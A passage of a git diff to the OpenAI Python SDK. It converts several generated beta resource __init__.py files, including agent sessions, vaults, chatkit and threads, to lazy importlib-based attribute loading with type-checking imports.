+ "AsyncTemplatesWithStreamingResponse": (".templates", "AsyncTemplatesWithStreamingResponse"),
+ "Environments": (".environments", "Environments"),
+ "AsyncEnvironments": (".environments", "AsyncEnvironments"),
+ "EnvironmentsWithRawResponse": (".environments", "EnvironmentsWithRawResponse"),
+ "AsyncEnvironmentsWithRawResponse": (".environments", "AsyncEnvironmentsWithRawResponse"),
+ "EnvironmentsWithStreamingResponse": (".environments", "EnvironmentsWithStreamingResponse"),
+ "AsyncEnvironmentsWithStreamingResponse": (".environments", "AsyncEnvironmentsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "environments",
+ "files",
+ "templates",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Files",
diff --git a/src/openai/resources/beta/agents/sessions/__init__.py b/src/openai/resources/beta/agents/sessions/__init__.py
index a91c716a61..fb77d2568d 100644
--- a/src/openai/resources/beta/agents/sessions/__init__.py
+++ b/src/openai/resources/beta/agents/sessions/__init__.py
@@ -1,53 +1,121 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .items import (
- Items,
- AsyncItems,
- ItemsWithRawResponse,
- AsyncItemsWithRawResponse,
- ItemsWithStreamingResponse,
- AsyncItemsWithStreamingResponse,
-)
-from .turns import (
- Turns,
- AsyncTurns,
- TurnsWithRawResponse,
- AsyncTurnsWithRawResponse,
- TurnsWithStreamingResponse,
- AsyncTurnsWithStreamingResponse,
-)
-from .events import (
- Events,
- AsyncEvents,
- EventsWithRawResponse,
- AsyncEventsWithRawResponse,
- EventsWithStreamingResponse,
- AsyncEventsWithStreamingResponse,
-)
-from .sessions import (
- Sessions,
- AsyncSessions,
- SessionsWithRawResponse,
- AsyncSessionsWithRawResponse,
- SessionsWithStreamingResponse,
- AsyncSessionsWithStreamingResponse,
-)
-from .artifacts import (
- Artifacts,
- AsyncArtifacts,
- ArtifactsWithRawResponse,
- AsyncArtifactsWithRawResponse,
- ArtifactsWithStreamingResponse,
- AsyncArtifactsWithStreamingResponse,
-)
-from .subagents import (
- Subagents,
- AsyncSubagents,
- SubagentsWithRawResponse,
- AsyncSubagentsWithRawResponse,
- SubagentsWithStreamingResponse,
- AsyncSubagentsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .items import (
+ Items as Items,
+ AsyncItems as AsyncItems,
+ ItemsWithRawResponse as ItemsWithRawResponse,
+ AsyncItemsWithRawResponse as AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse as ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse as AsyncItemsWithStreamingResponse,
+ )
+ from .turns import (
+ Turns as Turns,
+ AsyncTurns as AsyncTurns,
+ TurnsWithRawResponse as TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse as AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse as TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse as AsyncTurnsWithStreamingResponse,
+ )
+ from .events import (
+ Events as Events,
+ AsyncEvents as AsyncEvents,
+ EventsWithRawResponse as EventsWithRawResponse,
+ AsyncEventsWithRawResponse as AsyncEventsWithRawResponse,
+ EventsWithStreamingResponse as EventsWithStreamingResponse,
+ AsyncEventsWithStreamingResponse as AsyncEventsWithStreamingResponse,
+ )
+ from .sessions import (
+ Sessions as Sessions,
+ AsyncSessions as AsyncSessions,
+ SessionsWithRawResponse as SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse as AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse as SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse as AsyncSessionsWithStreamingResponse,
+ )
+ from .artifacts import (
+ Artifacts as Artifacts,
+ AsyncArtifacts as AsyncArtifacts,
+ ArtifactsWithRawResponse as ArtifactsWithRawResponse,
+ AsyncArtifactsWithRawResponse as AsyncArtifactsWithRawResponse,
+ ArtifactsWithStreamingResponse as ArtifactsWithStreamingResponse,
+ AsyncArtifactsWithStreamingResponse as AsyncArtifactsWithStreamingResponse,
+ )
+ from .subagents import (
+ Subagents as Subagents,
+ AsyncSubagents as AsyncSubagents,
+ SubagentsWithRawResponse as SubagentsWithRawResponse,
+ AsyncSubagentsWithRawResponse as AsyncSubagentsWithRawResponse,
+ SubagentsWithStreamingResponse as SubagentsWithStreamingResponse,
+ AsyncSubagentsWithStreamingResponse as AsyncSubagentsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Subagents": (".subagents", "Subagents"),
+ "AsyncSubagents": (".subagents", "AsyncSubagents"),
+ "SubagentsWithRawResponse": (".subagents", "SubagentsWithRawResponse"),
+ "AsyncSubagentsWithRawResponse": (".subagents", "AsyncSubagentsWithRawResponse"),
+ "SubagentsWithStreamingResponse": (".subagents", "SubagentsWithStreamingResponse"),
+ "AsyncSubagentsWithStreamingResponse": (".subagents", "AsyncSubagentsWithStreamingResponse"),
+ "Artifacts": (".artifacts", "Artifacts"),
+ "AsyncArtifacts": (".artifacts", "AsyncArtifacts"),
+ "ArtifactsWithRawResponse": (".artifacts", "ArtifactsWithRawResponse"),
+ "AsyncArtifactsWithRawResponse": (".artifacts", "AsyncArtifactsWithRawResponse"),
+ "ArtifactsWithStreamingResponse": (".artifacts", "ArtifactsWithStreamingResponse"),
+ "AsyncArtifactsWithStreamingResponse": (".artifacts", "AsyncArtifactsWithStreamingResponse"),
+ "Items": (".items", "Items"),
+ "AsyncItems": (".items", "AsyncItems"),
+ "ItemsWithRawResponse": (".items", "ItemsWithRawResponse"),
+ "AsyncItemsWithRawResponse": (".items", "AsyncItemsWithRawResponse"),
+ "ItemsWithStreamingResponse": (".items", "ItemsWithStreamingResponse"),
+ "AsyncItemsWithStreamingResponse": (".items", "AsyncItemsWithStreamingResponse"),
+ "Events": (".events", "Events"),
+ "AsyncEvents": (".events", "AsyncEvents"),
+ "EventsWithRawResponse": (".events", "EventsWithRawResponse"),
+ "AsyncEventsWithRawResponse": (".events", "AsyncEventsWithRawResponse"),
+ "EventsWithStreamingResponse": (".events", "EventsWithStreamingResponse"),
+ "AsyncEventsWithStreamingResponse": (".events", "AsyncEventsWithStreamingResponse"),
+ "Turns": (".turns", "Turns"),
+ "AsyncTurns": (".turns", "AsyncTurns"),
+ "TurnsWithRawResponse": (".turns", "TurnsWithRawResponse"),
+ "AsyncTurnsWithRawResponse": (".turns", "AsyncTurnsWithRawResponse"),
+ "TurnsWithStreamingResponse": (".turns", "TurnsWithStreamingResponse"),
+ "AsyncTurnsWithStreamingResponse": (".turns", "AsyncTurnsWithStreamingResponse"),
+ "Sessions": (".sessions", "Sessions"),
+ "AsyncSessions": (".sessions", "AsyncSessions"),
+ "SessionsWithRawResponse": (".sessions", "SessionsWithRawResponse"),
+ "AsyncSessionsWithRawResponse": (".sessions", "AsyncSessionsWithRawResponse"),
+ "SessionsWithStreamingResponse": (".sessions", "SessionsWithStreamingResponse"),
+ "AsyncSessionsWithStreamingResponse": (".sessions", "AsyncSessionsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "artifacts",
+ "events",
+ "items",
+ "sessions",
+ "subagents",
+ "turns",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Subagents",
diff --git a/src/openai/resources/beta/agents/sessions/subagents/__init__.py b/src/openai/resources/beta/agents/sessions/subagents/__init__.py
index 56a4c69cee..0e900aba09 100644
--- a/src/openai/resources/beta/agents/sessions/subagents/__init__.py
+++ b/src/openai/resources/beta/agents/sessions/subagents/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .items import (
- Items,
- AsyncItems,
- ItemsWithRawResponse,
- AsyncItemsWithRawResponse,
- ItemsWithStreamingResponse,
- AsyncItemsWithStreamingResponse,
-)
-from .turns import (
- Turns,
- AsyncTurns,
- TurnsWithRawResponse,
- AsyncTurnsWithRawResponse,
- TurnsWithStreamingResponse,
- AsyncTurnsWithStreamingResponse,
-)
-from .subagents import (
- Subagents,
- AsyncSubagents,
- SubagentsWithRawResponse,
- AsyncSubagentsWithRawResponse,
- SubagentsWithStreamingResponse,
- AsyncSubagentsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .items import (
+ Items as Items,
+ AsyncItems as AsyncItems,
+ ItemsWithRawResponse as ItemsWithRawResponse,
+ AsyncItemsWithRawResponse as AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse as ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse as AsyncItemsWithStreamingResponse,
+ )
+ from .turns import (
+ Turns as Turns,
+ AsyncTurns as AsyncTurns,
+ TurnsWithRawResponse as TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse as AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse as TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse as AsyncTurnsWithStreamingResponse,
+ )
+ from .subagents import (
+ Subagents as Subagents,
+ AsyncSubagents as AsyncSubagents,
+ SubagentsWithRawResponse as SubagentsWithRawResponse,
+ AsyncSubagentsWithRawResponse as AsyncSubagentsWithRawResponse,
+ SubagentsWithStreamingResponse as SubagentsWithStreamingResponse,
+ AsyncSubagentsWithStreamingResponse as AsyncSubagentsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Items": (".items", "Items"),
+ "AsyncItems": (".items", "AsyncItems"),
+ "ItemsWithRawResponse": (".items", "ItemsWithRawResponse"),
+ "AsyncItemsWithRawResponse": (".items", "AsyncItemsWithRawResponse"),
+ "ItemsWithStreamingResponse": (".items", "ItemsWithStreamingResponse"),
+ "AsyncItemsWithStreamingResponse": (".items", "AsyncItemsWithStreamingResponse"),
+ "Turns": (".turns", "Turns"),
+ "AsyncTurns": (".turns", "AsyncTurns"),
+ "TurnsWithRawResponse": (".turns", "TurnsWithRawResponse"),
+ "AsyncTurnsWithRawResponse": (".turns", "AsyncTurnsWithRawResponse"),
+ "TurnsWithStreamingResponse": (".turns", "TurnsWithStreamingResponse"),
+ "AsyncTurnsWithStreamingResponse": (".turns", "AsyncTurnsWithStreamingResponse"),
+ "Subagents": (".subagents", "Subagents"),
+ "AsyncSubagents": (".subagents", "AsyncSubagents"),
+ "SubagentsWithRawResponse": (".subagents", "SubagentsWithRawResponse"),
+ "AsyncSubagentsWithRawResponse": (".subagents", "AsyncSubagentsWithRawResponse"),
+ "SubagentsWithStreamingResponse": (".subagents", "SubagentsWithStreamingResponse"),
+ "AsyncSubagentsWithStreamingResponse": (".subagents", "AsyncSubagentsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "items",
+ "subagents",
+ "turns",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Items",
diff --git a/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py b/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py
index 206610c6fb..8894a0232c 100644
--- a/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py
+++ b/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .items import (
- Items,
- AsyncItems,
- ItemsWithRawResponse,
- AsyncItemsWithRawResponse,
- ItemsWithStreamingResponse,
- AsyncItemsWithStreamingResponse,
-)
-from .turns import (
- Turns,
- AsyncTurns,
- TurnsWithRawResponse,
- AsyncTurnsWithRawResponse,
- TurnsWithStreamingResponse,
- AsyncTurnsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .items import (
+ Items as Items,
+ AsyncItems as AsyncItems,
+ ItemsWithRawResponse as ItemsWithRawResponse,
+ AsyncItemsWithRawResponse as AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse as ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse as AsyncItemsWithStreamingResponse,
+ )
+ from .turns import (
+ Turns as Turns,
+ AsyncTurns as AsyncTurns,
+ TurnsWithRawResponse as TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse as AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse as TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse as AsyncTurnsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Items": (".items", "Items"),
+ "AsyncItems": (".items", "AsyncItems"),
+ "ItemsWithRawResponse": (".items", "ItemsWithRawResponse"),
+ "AsyncItemsWithRawResponse": (".items", "AsyncItemsWithRawResponse"),
+ "ItemsWithStreamingResponse": (".items", "ItemsWithStreamingResponse"),
+ "AsyncItemsWithStreamingResponse": (".items", "AsyncItemsWithStreamingResponse"),
+ "Turns": (".turns", "Turns"),
+ "AsyncTurns": (".turns", "AsyncTurns"),
+ "TurnsWithRawResponse": (".turns", "TurnsWithRawResponse"),
+ "AsyncTurnsWithRawResponse": (".turns", "AsyncTurnsWithRawResponse"),
+ "TurnsWithStreamingResponse": (".turns", "TurnsWithStreamingResponse"),
+ "AsyncTurnsWithStreamingResponse": (".turns", "AsyncTurnsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "items",
+ "turns",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Items",
diff --git a/src/openai/resources/beta/agents/vaults/__init__.py b/src/openai/resources/beta/agents/vaults/__init__.py
index 7face62bd5..f55bb84124 100644
--- a/src/openai/resources/beta/agents/vaults/__init__.py
+++ b/src/openai/resources/beta/agents/vaults/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .vaults import (
- Vaults,
- AsyncVaults,
- VaultsWithRawResponse,
- AsyncVaultsWithRawResponse,
- VaultsWithStreamingResponse,
- AsyncVaultsWithStreamingResponse,
-)
-from .credentials import (
- Credentials,
- AsyncCredentials,
- CredentialsWithRawResponse,
- AsyncCredentialsWithRawResponse,
- CredentialsWithStreamingResponse,
- AsyncCredentialsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .vaults import (
+ Vaults as Vaults,
+ AsyncVaults as AsyncVaults,
+ VaultsWithRawResponse as VaultsWithRawResponse,
+ AsyncVaultsWithRawResponse as AsyncVaultsWithRawResponse,
+ VaultsWithStreamingResponse as VaultsWithStreamingResponse,
+ AsyncVaultsWithStreamingResponse as AsyncVaultsWithStreamingResponse,
+ )
+ from .credentials import (
+ Credentials as Credentials,
+ AsyncCredentials as AsyncCredentials,
+ CredentialsWithRawResponse as CredentialsWithRawResponse,
+ AsyncCredentialsWithRawResponse as AsyncCredentialsWithRawResponse,
+ CredentialsWithStreamingResponse as CredentialsWithStreamingResponse,
+ AsyncCredentialsWithStreamingResponse as AsyncCredentialsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Credentials": (".credentials", "Credentials"),
+ "AsyncCredentials": (".credentials", "AsyncCredentials"),
+ "CredentialsWithRawResponse": (".credentials", "CredentialsWithRawResponse"),
+ "AsyncCredentialsWithRawResponse": (".credentials", "AsyncCredentialsWithRawResponse"),
+ "CredentialsWithStreamingResponse": (".credentials", "CredentialsWithStreamingResponse"),
+ "AsyncCredentialsWithStreamingResponse": (".credentials", "AsyncCredentialsWithStreamingResponse"),
+ "Vaults": (".vaults", "Vaults"),
+ "AsyncVaults": (".vaults", "AsyncVaults"),
+ "VaultsWithRawResponse": (".vaults", "VaultsWithRawResponse"),
+ "AsyncVaultsWithRawResponse": (".vaults", "AsyncVaultsWithRawResponse"),
+ "VaultsWithStreamingResponse": (".vaults", "VaultsWithStreamingResponse"),
+ "AsyncVaultsWithStreamingResponse": (".vaults", "AsyncVaultsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "credentials",
+ "vaults",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Credentials",
diff --git a/src/openai/resources/beta/chatkit/__init__.py b/src/openai/resources/beta/chatkit/__init__.py
index cd1d644f3a..8b2262631d 100644
--- a/src/openai/resources/beta/chatkit/__init__.py
+++ b/src/openai/resources/beta/chatkit/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .chatkit import (
- ChatKit,
- AsyncChatKit,
- ChatKitWithRawResponse,
- AsyncChatKitWithRawResponse,
- ChatKitWithStreamingResponse,
- AsyncChatKitWithStreamingResponse,
-)
-from .threads import (
- Threads,
- AsyncThreads,
- ThreadsWithRawResponse,
- AsyncThreadsWithRawResponse,
- ThreadsWithStreamingResponse,
- AsyncThreadsWithStreamingResponse,
-)
-from .sessions import (
- Sessions,
- AsyncSessions,
- SessionsWithRawResponse,
- AsyncSessionsWithRawResponse,
- SessionsWithStreamingResponse,
- AsyncSessionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .chatkit import (
+ ChatKit as ChatKit,
+ AsyncChatKit as AsyncChatKit,
+ ChatKitWithRawResponse as ChatKitWithRawResponse,
+ AsyncChatKitWithRawResponse as AsyncChatKitWithRawResponse,
+ ChatKitWithStreamingResponse as ChatKitWithStreamingResponse,
+ AsyncChatKitWithStreamingResponse as AsyncChatKitWithStreamingResponse,
+ )
+ from .threads import (
+ Threads as Threads,
+ AsyncThreads as AsyncThreads,
+ ThreadsWithRawResponse as ThreadsWithRawResponse,
+ AsyncThreadsWithRawResponse as AsyncThreadsWithRawResponse,
+ ThreadsWithStreamingResponse as ThreadsWithStreamingResponse,
+ AsyncThreadsWithStreamingResponse as AsyncThreadsWithStreamingResponse,
+ )
+ from .sessions import (
+ Sessions as Sessions,
+ AsyncSessions as AsyncSessions,
+ SessionsWithRawResponse as SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse as AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse as SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse as AsyncSessionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Sessions": (".sessions", "Sessions"),
+ "AsyncSessions": (".sessions", "AsyncSessions"),
+ "SessionsWithRawResponse": (".sessions", "SessionsWithRawResponse"),
+ "AsyncSessionsWithRawResponse": (".sessions", "AsyncSessionsWithRawResponse"),
+ "SessionsWithStreamingResponse": (".sessions", "SessionsWithStreamingResponse"),
+ "AsyncSessionsWithStreamingResponse": (".sessions", "AsyncSessionsWithStreamingResponse"),
+ "Threads": (".threads", "Threads"),
+ "AsyncThreads": (".threads", "AsyncThreads"),
+ "ThreadsWithRawResponse": (".threads", "ThreadsWithRawResponse"),
+ "AsyncThreadsWithRawResponse": (".threads", "AsyncThreadsWithRawResponse"),
+ "ThreadsWithStreamingResponse": (".threads", "ThreadsWithStreamingResponse"),
+ "AsyncThreadsWithStreamingResponse": (".threads", "AsyncThreadsWithStreamingResponse"),
+ "ChatKit": (".chatkit", "ChatKit"),
+ "AsyncChatKit": (".chatkit", "AsyncChatKit"),
+ "ChatKitWithRawResponse": (".chatkit", "ChatKitWithRawResponse"),
+ "AsyncChatKitWithRawResponse": (".chatkit", "AsyncChatKitWithRawResponse"),
+ "ChatKitWithStreamingResponse": (".chatkit", "ChatKitWithStreamingResponse"),
+ "AsyncChatKitWithStreamingResponse": (".chatkit", "AsyncChatKitWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "chatkit",
+ "sessions",
+ "threads",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Sessions",
diff --git a/src/openai/resources/beta/responses/__init__.py b/src/openai/resources/beta/responses/__init__.py
index 1b7c209a7d..d8eb8df8b0 100644
--- a/src/openai/resources/beta/responses/__init__.py
+++ b/src/openai/resources/beta/responses/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .responses import (
- Responses,
- AsyncResponses,
- ResponsesWithRawResponse,
- AsyncResponsesWithRawResponse,
- ResponsesWithStreamingResponse,
- AsyncResponsesWithStreamingResponse,
-)
-from .input_items import (
- InputItems,
- AsyncInputItems,
- InputItemsWithRawResponse,
- AsyncInputItemsWithRawResponse,
- InputItemsWithStreamingResponse,
- AsyncInputItemsWithStreamingResponse,
-)
-from .input_tokens import (
- InputTokens,
- AsyncInputTokens,
- InputTokensWithRawResponse,
- AsyncInputTokensWithRawResponse,
- InputTokensWithStreamingResponse,
- AsyncInputTokensWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .responses import (
+ Responses as Responses,
+ AsyncResponses as AsyncResponses,
+ ResponsesWithRawResponse as ResponsesWithRawResponse,
+ AsyncResponsesWithRawResponse as AsyncResponsesWithRawResponse,
+ ResponsesWithStreamingResponse as ResponsesWithStreamingResponse,
+ AsyncResponsesWithStreamingResponse as AsyncResponsesWithStreamingResponse,
+ )
+ from .input_items import (
+ InputItems as InputItems,
+ AsyncInputItems as AsyncInputItems,
+ InputItemsWithRawResponse as InputItemsWithRawResponse,
+ AsyncInputItemsWithRawResponse as AsyncInputItemsWithRawResponse,
+ InputItemsWithStreamingResponse as InputItemsWithStreamingResponse,
+ AsyncInputItemsWithStreamingResponse as AsyncInputItemsWithStreamingResponse,
+ )
+ from .input_tokens import (
+ InputTokens as InputTokens,
+ AsyncInputTokens as AsyncInputTokens,
+ InputTokensWithRawResponse as InputTokensWithRawResponse,
+ AsyncInputTokensWithRawResponse as AsyncInputTokensWithRawResponse,
+ InputTokensWithStreamingResponse as InputTokensWithStreamingResponse,
+ AsyncInputTokensWithStreamingResponse as AsyncInputTokensWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "InputItems": (".input_items", "InputItems"),
+ "AsyncInputItems": (".input_items", "AsyncInputItems"),
+ "InputItemsWithRawResponse": (".input_items", "InputItemsWithRawResponse"),
+ "AsyncInputItemsWithRawResponse": (".input_items", "AsyncInputItemsWithRawResponse"),
+ "InputItemsWithStreamingResponse": (".input_items", "InputItemsWithStreamingResponse"),
+ "AsyncInputItemsWithStreamingResponse": (".input_items", "AsyncInputItemsWithStreamingResponse"),
+ "InputTokens": (".input_tokens", "InputTokens"),
+ "AsyncInputTokens": (".input_tokens", "AsyncInputTokens"),
+ "InputTokensWithRawResponse": (".input_tokens", "InputTokensWithRawResponse"),
+ "AsyncInputTokensWithRawResponse": (".input_tokens", "AsyncInputTokensWithRawResponse"),
+ "InputTokensWithStreamingResponse": (".input_tokens", "InputTokensWithStreamingResponse"),
+ "AsyncInputTokensWithStreamingResponse": (".input_tokens", "AsyncInputTokensWithStreamingResponse"),
+ "Responses": (".responses", "Responses"),
+ "AsyncResponses": (".responses", "AsyncResponses"),
+ "ResponsesWithRawResponse": (".responses", "ResponsesWithRawResponse"),
+ "AsyncResponsesWithRawResponse": (".responses", "AsyncResponsesWithRawResponse"),
+ "ResponsesWithStreamingResponse": (".responses", "ResponsesWithStreamingResponse"),
+ "AsyncResponsesWithStreamingResponse": (".responses", "AsyncResponsesWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "input_items",
+ "input_tokens",
+ "responses",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"InputItems",
diff --git a/src/openai/resources/beta/threads/__init__.py b/src/openai/resources/beta/threads/__init__.py
index 3f5566059e..b367bf1316 100644
--- a/src/openai/resources/beta/threads/__init__.py
+++ b/src/openai/resources/beta/threads/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .runs import (
- Runs,
- AsyncRuns,
- RunsWithRawResponse,
- AsyncRunsWithRawResponse,
- RunsWithStreamingResponse,
- AsyncRunsWithStreamingResponse,
-)
-from .threads import (
- Threads,
- AsyncThreads,
- ThreadsWithRawResponse,
- AsyncThreadsWithRawResponse,
- ThreadsWithStreamingResponse,
- AsyncThreadsWithStreamingResponse,
-)
-from .messages import (
- Messages,
- AsyncMessages,
- MessagesWithRawResponse,
- AsyncMessagesWithRawResponse,
- MessagesWithStreamingResponse,
- AsyncMessagesWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .runs import (
+ Runs as Runs,
+ AsyncRuns as AsyncRuns,
+ RunsWithRawResponse as RunsWithRawResponse,
+ AsyncRunsWithRawResponse as AsyncRunsWithRawResponse,
+ RunsWithStreamingResponse as RunsWithStreamingResponse,
+ AsyncRunsWithStreamingResponse as AsyncRunsWithStreamingResponse,
+ )
+ from .threads import (
+ Threads as Threads,
+ AsyncThreads as AsyncThreads,
+ ThreadsWithRawResponse as ThreadsWithRawResponse,
+ AsyncThreadsWithRawResponse as AsyncThreadsWithRawResponse,
+ ThreadsWithStreamingResponse as ThreadsWithStreamingResponse,
+ AsyncThreadsWithStreamingResponse as AsyncThreadsWithStreamingResponse,
+ )
+ from .messages import (
+ Messages as Messages,
+ AsyncMessages as AsyncMessages,
+ MessagesWithRawResponse as MessagesWithRawResponse,
+ AsyncMessagesWithRawResponse as AsyncMessagesWithRawResponse,
+ MessagesWithStreamingResponse as MessagesWithStreamingResponse,
+ AsyncMessagesWithStreamingResponse as AsyncMessagesWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Runs": (".runs", "Runs"),
+ "AsyncRuns": (".runs", "AsyncRuns"),
+ "RunsWithRawResponse": (".runs", "RunsWithRawResponse"),
+ "AsyncRunsWithRawResponse": (".runs", "AsyncRunsWithRawResponse"),
+ "RunsWithStreamingResponse": (".runs", "RunsWithStreamingResponse"),
+ "AsyncRunsWithStreamingResponse": (".runs", "AsyncRunsWithStreamingResponse"),
+ "Messages": (".messages", "Messages"),
+ "AsyncMessages": (".messages", "AsyncMessages"),
+ "MessagesWithRawResponse": (".messages", "MessagesWithRawResponse"),
+ "AsyncMessagesWithRawResponse": (".messages", "AsyncMessagesWithRawResponse"),
+ "MessagesWithStreamingResponse": (".messages", "MessagesWithStreamingResponse"),
+ "AsyncMessagesWithStreamingResponse": (".messages", "AsyncMessagesWithStreamingResponse"),
+ "Threads": (".threads", "Threads"),
+ "AsyncThreads": (".threads", "AsyncThreads"),
+ "ThreadsWithRawResponse": (".threads", "ThreadsWithRawResponse"),
+ "AsyncThreadsWithRawResponse": (".threads", "AsyncThreadsWithRawResponse"),
+ "ThreadsWithStreamingResponse": (".threads", "ThreadsWithStreamingResponse"),
+ "AsyncThreadsWithStreamingResponse": (".threads", "AsyncThreadsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "messages",
+ "runs",
+ "threads",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
